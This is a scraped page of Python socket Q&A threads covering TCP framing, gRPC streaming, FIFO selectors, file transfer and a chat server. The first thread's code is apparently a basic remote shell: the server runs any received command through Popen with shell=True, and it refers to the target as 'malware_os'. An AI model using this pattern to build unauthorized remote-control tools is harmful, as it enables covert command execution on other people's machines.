Python socket recv doesn't give good result - python-3.x

I am trying to build a program for my IT course. The point of the program is to have a client app to send commands to the server. It seemd to work pretty well until today where, after a few calls, when I receive a response from the server it is not up to date.
eg : I send a few commands that all work fine. But then send another command and receive the response from the previous one.
I checked the command sent by the client and it is the one I type and in the server part, when I receive a command from the client it is the one actually sent by the client (not the previous one)
Here is the Shell classes (in the server and client) that I use to send and receive messages aswell as an example on how I use it.
Server :
class Shell:
command = ""
next_command = True
def __init__(self, malware_os):
self._os = malware_os
self._response = ""
def receive(self):
self.command = distant_socket.recv(4096).decode("utf-8")
def execute_command(self):
if self.command[:2] == "cd":
os.chdir(self.command[3:])
if self._os == "Windows":
self.result = Popen("cd", shell=True, stdout=PIPE)
else:
self.result = Popen("pwd", shell=True, stdout=PIPE)
else:
self.result = Popen(self.command, shell=True, stdout=PIPE)
self._response = self.result.communicate()
def send(self):
self._response = self._response[0]
self._response = self._response.decode("utf-8", errors="ignore")
self._response = self._response + " "
self._response = self._response.encode("utf-8")
distant_socket.send(self._response)
self._response = None
Use in server :
shell.receive()
shell.execute_command()
shell.send()
Client :
class Shell:
def __init__(self):
self._history = []
self._command = ""
def send(self):
self._history.append(self._command)
s.send(self._command.encode("utf-8"))
def receive(self):
content = s.recv(4096).decode("utf-8", errors="ignore")
if content[2:] == "cd":
malware_os.chdir(self._command[3:].decode("utf-8", errors="ignore"))
print(content)
def history(self):
print("The history of your commands is:")
print("----------------------")
for element in self._history:
print(element)
def get_command(self):
return self._command
def set_command(self, command):
self._command = command
Use in client :
shell.set_command(getinfo.get_users())
shell.send()
shell.receive()
Thank you in advance for your help,
Cordially,
Sasquatch

Since you said the response is not up to date, I'm guessing you used TCP (you didn't post the socket creation). Like the comment mentioned, there are 2 things that you aren't doing right:
Protocol: TCP gives you a stream, which is divided as the OS sees fit into packets. When transferring data over the network, the receiving end must know when it has a complete transmission. The easiest way to do that would be to send the length of the transmission, in a fixed format (say 4 bytes, big endian), before the transmission itself. Also, use sendall. For example:
import struct
def send_message(sock, message_str):
message_bytes = message_str.encode("utf-8")
size_prefix = struct.pack("!I", len(message_bytes)) # I means 4 bytes integer in big endian
sock.sendall(size_prefix)
sock.sendall(message_bytes)
Since TCP is a stream socket, the receiving end might return from recv before the entire message was received. You need to call it in a loop, checking the return value at every iteration to correctly handle disconnects. Something such as:
def recv_message_str(sock):
#first, get the message size, assuming you used the send above
size_buffer = b""
while len(size_buffer) != 4:
recv_ret = sock.recv(4 - len(size_buffer))
if len(recv_ret) == 0:
# The other side disconnected, do something (raise an exception or something)
raise Exception("socket disconnected")
size_buffer += recv_ret
size = struct.unpack("!I", size_buffer)[0]
# Loop again, for the message string
message_buffer = b""
while len(message_buffer) != size:
recv_ret = sock.recv(size - len(message_buffer))
if len(recv_ret) == 0:
# The other side disconnected, do something (raise an exception or something)
raise Exception("socket disconnected")
message_buffer += recv_ret
return message_buffer.decode("utf-8", errors="ignore")

Related

Multithreaded approach to gRPC broadcasts message to all clients

I need to implement a bidirectional streaming in gRPC with python. What I am implementing is a bit different from the example on gRPC's tutorial. In my implementation I need to keep sending responses to the client after initial subscribe request till the client unsubscribes. I have provided a sample implementation below. The main problem I face is that for 1 client the implementation works normally, however the moment I run 2 clients parallely, the response is send to the clients alternatively. Is there any way to stop this behavior?
Server Code
class ChatServicer(route_guide_pb2_grpc.ChatServicer):
"""Provides methods that implement functionality of route guide server."""
def __init__(self):
self.db = None#route_guide_resources.read_route_guide_database()
self.prev_notes = []
self._watch_response_queue = SimpleQueue()
self._watch_response_queue2 = []
def process_request_note(self, note):
while True:
time.sleep(1.0)
self._watch_response_queue.put(note)
def RouteChat(self, request_iterator, context):
print("ROuteCHat")
temp = None
for new_note in request_iterator:
temp = new_note
for prev_note in self.prev_notes:
if prev_note.location == new_note.location:
yield prev_note
self.prev_notes.append(new_note)
process_request_thread = Thread(
target=self.process_request_note,
args=(temp,),
)
process_request_thread.start()
lock = Lock()
while True:
with lock:
while not self._watch_response_queue.empty():
yield self._watch_response_queue.get(block=True, timeout=2.0)
# while len(self._watch_response_queue2) > 0:
# yield self._watch_response_queue2.pop()
time.sleep(1.0)
def serve():
server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
route_guide_pb2_grpc.add_ChatServicer_to_server(
ChatServicer(), server)
server.add_insecure_port('[::]:50051')
server.start()
print("server started")
try:
while True:
time.sleep(_ONE_DAY_IN_SECONDS)
except KeyboardInterrupt:
server.stop(0)
Client Code
def generate_messages():
messages = [
make_route_note("First", 0, 0),
make_route_note("Second", 0, 1),
make_route_note("Third", 1, 0),
make_route_note("Fourth", 0, 0),
make_route_note("Fifth", 1, 0),
]
for msg in messages:
print("Sending %s at %s" % (msg.message, msg.location))
yield msg
def guide_route_chat(stub):
responses = stub.RouteChat(generate_messages())
ctr = 0
for response in responses:
ctr += 1
print(f"Received message{ctr} %s at %s" %
(response.message, response.location))
def run():
# NOTE(gRPC Python Team): .close() is possible on a channel and should be
# used in circumstances in which the with statement does not fit the needs
# of the code.
with grpc.insecure_channel('localhost:50051') as channel:
stub = route_guide_pb2_grpc.ChatStub(channel)
print("-------------- RouteChat --------------")
guide_route_chat(stub)
For the second client I use the same code as the client above.
TLDR: Grpc server is sending response alternatively to multiple clients whereas it is desired for only 1 client to receive message at a time.

Python Selector with FIFO running to infinite loop

I am trying to write some non-blocking FIFO code with kqueue on my BSD machine. Here's the small server code: server.py
import os
import selectors
sel = selectors.KqueueSelector()
TMP_PATH="/tmp/myfifo"
def fifo_read(fd, mask):
data = os.read(fd, 8)
print("fd:{} gives:{} \n", fd, data)
sel.unregister(fd)
print("unregistered")
def fifo_accept(listen_fd, mask):
print("accepted {}".format(listen_fd))
fd = os.dup(listen_fd)
print("duped to {}".format(fd))
sel.register(fd, selectors.EVENT_READ, fifo_read)
if __name__ == "__main__":
try:
os.unlink(TMP_PATH)
except:
pass
os.mkfifo(TMP_PATH)
listen_fd = os.open(TMP_PATH, os.O_RDONLY, mode=0o600)
sel.register(listen_fd, selectors.EVENT_READ, fifo_accept)
while True:
events = sel.select()
for key, mask in events:
cb = key.data
cb(key.fileobj, mask)
sel.close()
Now, when I run a client.py as:
import os
TMP_PATH="/tmp/myfifo"
fd = os.open(TMP_PATH, os.O_WRONLY, mode=0o600)
res = os.write(fd, b"1234567")
print("sent {}".format(res))
When I run the client, I get:
sent 7
But on server, it runs to inifinite loop. Now I understand why the infinite loop is happening. I actually tried mimicking the socket way of using selectors in this Python Docs example.
Here's what I have tried:
I did try the code without duplicating the fd, but it's still in infinite loop.
I tried calling sel.unregister on the original listen_fd, but in this case, running the client the second time doesn't work (which is expected).
Can anyone please let me know if I'm missing something?
So I found one solution to this problem. With sockets, we get a new socket object on accept. So we need to emulate that behaviour by calling unregister on the original fileobj, open again and call register on that.
Fixed code:
import os
import selectors
sel = selectors.KqueueSelector()
try:
os.unlink("./myfifo")
except:
pass
os.mkfifo("./myfifo", 0o600)
def cb(fp):
sel.unregister(fp)
print(f"got {fp.read()}")
fp.close()
fp2 = open("./myfifo", "rb")
sel.register(fp2, selectors.EVENT_READ, cb)
if __name__ == "__main__":
orig_fp = open("./myfifo", "rb")
print("open done")
ev = sel.register(orig_fp, selectors.EVENT_READ, cb)
print(f"registration done for {ev}")
while True:
events = sel.select()
print(events)
for key, mask in events:
key.data(key.fileobj)

Python CMD2 Interrupt printing promp

I am using CMD2 to create a server. I have broken my code down to the smallest bit of code that still produces the problem.
import socket
import _thread
from cmd2 import *
def grab_data(conn):
while True:
try:
data = conn.recv(1024)
print(data)
except:
print("disconnected.")
break
def grab_client(sock):
while True:
conn, addr = sock.accept()
print("New connection")
_thread.start_new_thread(grab_data, (conn,))
def start_conn(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((ip, int(port)))
sock.listen(10)
print("Socket listening")
_thread.start_new_thread(grab_client, (sock,))
class CLI(Cmd):
def __init__(self):
Cmd.__init__(self)
self.prompt = "Prompt> "
def do_listen(self, arg):
start_conn('0.0.0.0', '4446')
def emptyline(self):
pass
def do_quit(self, arg):
return True
cli = CLI()
cli.cmdloop("Welcome to the server.")
The issue I run into is when a client connects. It does not reprint the prompt. It hangs at a empty line with just the cursor. I am not sure how to get the prompt to print back.
You're blocking trying to read 1024 bytes, so it's got to wait until that entire buffer is filled. To do proper line-based buffering is a bit tricky, but a simple (albeit non-performant) implementation is to read a character at a time and check if it's a newline:
line = ""
while True:
data = conn.recv(1)
line += data
if data in "\n\r":
break
(This is not great code, but let's see if that solves the problem and we can improve it.)

python3 tcp client server communication

I want to send an image (.pgm) via TCP as soon as it is written to the ramdisk. For this I'm working with pyinotify and sockets. After the picture is sent I would like to tell the server to stop now.
Everything works fine but the last part gives me following error:
if data.decode('utf-8') == 'stop': UnicodeDecodeError: 'utf-8' codec can't
decode byte 0x88 in position 319: invalid start byte
Client:
import pyinotify
import socket
import traceback
import sys
class ModHandler(pyinotify.ProcessEvent):
def __init__(self, socket, buffer_size):
self.socket = socket
self.buffer_size = buffer_size
def process_IN_CLOSE_WRITE(self, event):
try:
self.socket.send(bytes(event.pathname, encoding='utf-8'))
file = open(event.pathname, "rb")
line = file.read(self.buffer_size)
while(line):
self.socket.send(line)
line = file.read(self.buffer_size)
except Exception:
traceback.print_exc()
finally:
try:
self.socket.send(bytes('stop', encoding='utf-8'))
print("done")
file.close
except Exception:
traceback.print_exc()
class TCPStream():
def __init__(self, ip, port, buffer_size):
self.ip = ip
self.port = port
self.buffer_size = buffer_size
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.socket.connect((self.ip, self.port))
except Exception:
traceback.print_exc()
def __del__(self):
try:
self.socket.close()
except Exception:
traceback.print_exc()
stream = TCPStream('127.0.0.1', 5005, 1024)
handler = ModHandler(stream.socket, stream.buffer_size)
wm = pyinotify.WatchManager()
notifier = pyinotify.Notifier(wm, handler)
wd_value = wm.add_watch("/media/ram_disk", pyinotify.IN_CLOSE_WRITE)
if wd_value["/media/ram_disk"] <= 0:
print("can't add watchmanager to the ram_disk... insufficient
authorization? another watchmanager already running?")
sys.exit(0)
notifier.loop()
Server:
import socket
TCP_IP = '127.0.0.1'
TCP_PORT = 5005
BUFFER_SIZE = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)
conn, addr = s.accept()
print("connection address: ", addr)
path = conn.recv(BUFFER_SIZE).decode('utf-8')
filename = path.split("/")
with open(filename[3], 'wb') as f:
data = conn.recv(BUFFER_SIZE)
while data:
print("receiving...")
f.write(data)
data = conn.recv(BUFFER_SIZE)
if not data:
break
if data.decode('utf-8') == 'stop':
f.close()
print("done")
break
conn.close()
The goal is to have a constant TCP stream of images written to the ramdisk. Therefore I wanted to communicate via Bytes with the server to tell him what to do. It seems that after the first picture gets transmitted it breaks somehow. Any help is appreciated!
What if four consecutive bytes in your image at the beginning of a buffer happen to match the ASCII (and UTF-8) characters s t o p? Also, how does the receiving side know when the file name ends, and the file data starts?
You should create a binary encoding that frames the various bits of your data. This makes the whole process nicely deterministic. That's often best done with the struct module's pack and unpack methods. Given a file you want to send, client side:
import os
import struct
...
pathname = event.pathname.encode('utf-8') # Encode pathname into bytes
pathname_len = len(pathname)
file = open(event.pathname, "rb")
filesize = os.path.getsize(event.filename) # Get file size
# Encode size of file name, and size of file into a binary header
header_format = struct.Struct("!II")
header = header_format.pack(pathname_len, filesize)
self.socket.sendall(header)
self.socket.sendall(pathname)
while True:
line = file.read(self.buffer_size)
if not line: break # EOF
self.socket.sendall(line)
# (Remove sending of 'stop' from finally block)
Note the use of sendall to ensure that the entire buffer gets sent (it is legal for send to send only part of a buffer but that can result in missing bytes if you don't account for it).
Server side will look something like this:
import struct
...
def recv_exactly(s, buffer_len):
""" This is the converse of sendall """
data = b''
rem_bytes = buffer_len
while rem_bytes > 0:
buf = s.recv(rem_bytes)
if not buf:
raise Exception("Received EOF in middle of block")
data += buf
rem_bytes -= len(buf)
return data
conn, addr = s.accept()
...
header_format = struct.Struct("!II")
# Receive exactly the bytes of the header
header = recv_exactly(conn, header_format.size)
pathname_len, file_len = header_format.unpack(header)
path = recv_exactly(conn, pathname_len)
filename = path.split("/")
...
rem_bytes = file_len
while rem_bytes > 0:
data = conn.recv(min(rem_bytes, BUFFER_SIZE))
if not data:
raise Exception("Received EOF in middle of file")
f.write(data)
rem_bytes -= len(data)
Another important advantage of this model is that you now have a clear notion of the boundary between one file and the next (without having a "signal value" that might appear in the data). The receiver always knows exactly how many bytes remain until the end of the current file, and the sender can simply move on to send a new header, pathname, and file without opening a new connection.

My server coded in pyhon 3 does not send messages to all users

I started learning socket programming in Python 3 and I am trying to create a TCP chat server which can support multiple users but it is not working because the server does not send the message to all users, it sends it back the message only to the person who sent the message.
This is my server code (sorry for being a noob):
import socket
from _thread import *
sk = socket.socket()
sk.bind(('', 3000))
sk.listen(5)
def client(conn):
while True:
data = conn.recv(1024)
if not data:
break
mess = data.decode('utf-8')
print(mess)
conn.sendall(data)
if __name__ == '__main__':
print("server started")
while True:
conn, id = sk.accept()
print("{} conected".format(id))
start_new_thread(client, (conn,))
and this is my client :
import socket
import threading
sk = socket.socket()
target_ip = input("ip : ")
port = int(input("port: "))
sk.connect((target_ip, port))
def send():
mess = input()
while mess != 'EXIT':
mess = str.encode(mess)
sk.send(mess)
mess = input()
def listen():
while True:
data = sk.recv(1024)
mess = data.decode('utf-8')
if mess == 'zalinga':
quit()
else:
print(mess)
if __name__ == '__main__':
t1 = threading.Thread(target = send)
t2 = threading.Thread(target = listen)
t1.start()
t2.start()
I don't know where is the problem but I don't get any errors.
Before you start your new thread to listen to the connection, you need to add that connection to some collection of connections.
When you receive data, instead of sending it to the socket that sent you the data, iterate over the collection and send the data to each socket in the list. Consider also sending at the same time the id of the socket, so you know who sent you the info.

Resources